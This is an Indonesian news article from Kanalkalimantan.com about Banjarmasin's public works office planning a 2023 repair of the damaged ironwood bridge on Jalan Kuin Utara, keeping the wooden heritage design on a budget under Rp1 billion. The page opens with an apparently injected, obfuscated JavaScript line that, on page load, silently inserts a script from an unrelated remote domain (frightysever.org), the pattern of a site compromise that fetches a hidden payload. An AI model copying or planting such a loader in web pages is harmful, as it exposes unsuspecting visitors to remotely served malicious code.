(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jembatan ulin yang terletak di jalan Kuin Utara RT 04 RW 02, Kelurahan Kuin Utara, Kecamatan Banjarmasin Utara, Kota Banjarmasin atau dekat Mesjid Sultan Suriansyah direncanakan diperbaiki pada tahun 2023.
Mengingat kondisi kerusakannya yang semakin parah, banyak pagar dan lantai jembatan yang copot serta mengeluarkan bunyi berisik ketika dilewati pengendara.
Dinas PUPR Banjarmasin melalui Sub Kordinator Jembatan bidan Jembatan dan Jalan, Ir Damayanti mengatakan pihaknya telah memasukan rencana perbaikan jembatan Kuin Utara pada tahun anggaran 2023, akan tetapi masih menunggu persetujuan.
Namun, dalam rencana perbaikan nanti Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Banjarmasin dikatakan tetap akan memakai desain lama jembatan yang menggunakan material kayu ulin.
Baca juga: PLN Gerak Cepat Lakukan Pemulihan Pasca Gangguan Sistem Interkoneksi Kalimantan
“Masih seperti yang semula, masih berupa kayu ulin,” kata Sub Kordinator Jembatan, Ir Damayanti, Selasa (8/8/2023) siang.
Alasan pihaknya tetap akan menggunakan material ulin dikarenakan waktu yang mepet menjelang akhir tahun, sehingga tidak dimungkinkan untuk menggunakan bahan permanen seperti beton.
“Kalau mau penanganan cepat ya itu, kalau beton lama prosesnya, ini kan sudah akhir tahun tidak mungkin kita mengganti dengan yang permanen,” ucapnya.
Baca juga: Motif Sepele Pengroyokan di Jalan Veteran Banjarmasin Hingga Tewaskan Ferdy
Kemudian, pihaknya menilai jembatan tersebut perlu dipertahankan keasliannya sebab berada di kawasan cagar budaya Masjid Sultan Suriansyah.
Biaya perbaikan jembatan ulin yang membelah anak sungai Kuin tersebut dikatakan dianggarkan tidak terlalu besar, berada di bawah angka Rp1 miliar.
“Anggarannya di bawah satu miliar,” ungkap Damayanti.
Pihaknya berharap pengajuan anggaran perbaikan jembatan ulin tersebut cepat disetujui oleh DPRD Banjarmasin agar perbaikan tidak molor ke tahun 2024.
Baca juga: Mati Listrik Berjam-Jam, PLN Kalselteng Jelaskan Penyebabnya
Lanjut Damayanti, kondisi sejumlah jembatan ulin yang ada di Kota Banjarmasin masih terbilang layak, kecuali yang berada di jalan Kuin Utara.
“Kita punya satu jembatan ulin yang paling besar di Sungai Gampa kondisinya masih lumayan, bisa dipertahankan,” kata Damayanti.
Saat ini, pihaknya juga belum ada rencana untuk memodernkan semua jembatan ulin yang ada di Kota Banjarmasin dengan alasan mempertahankan keaslian jembatan.
“Sayang keasliannya yang khas Banjarmasin,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
This website uses cookies.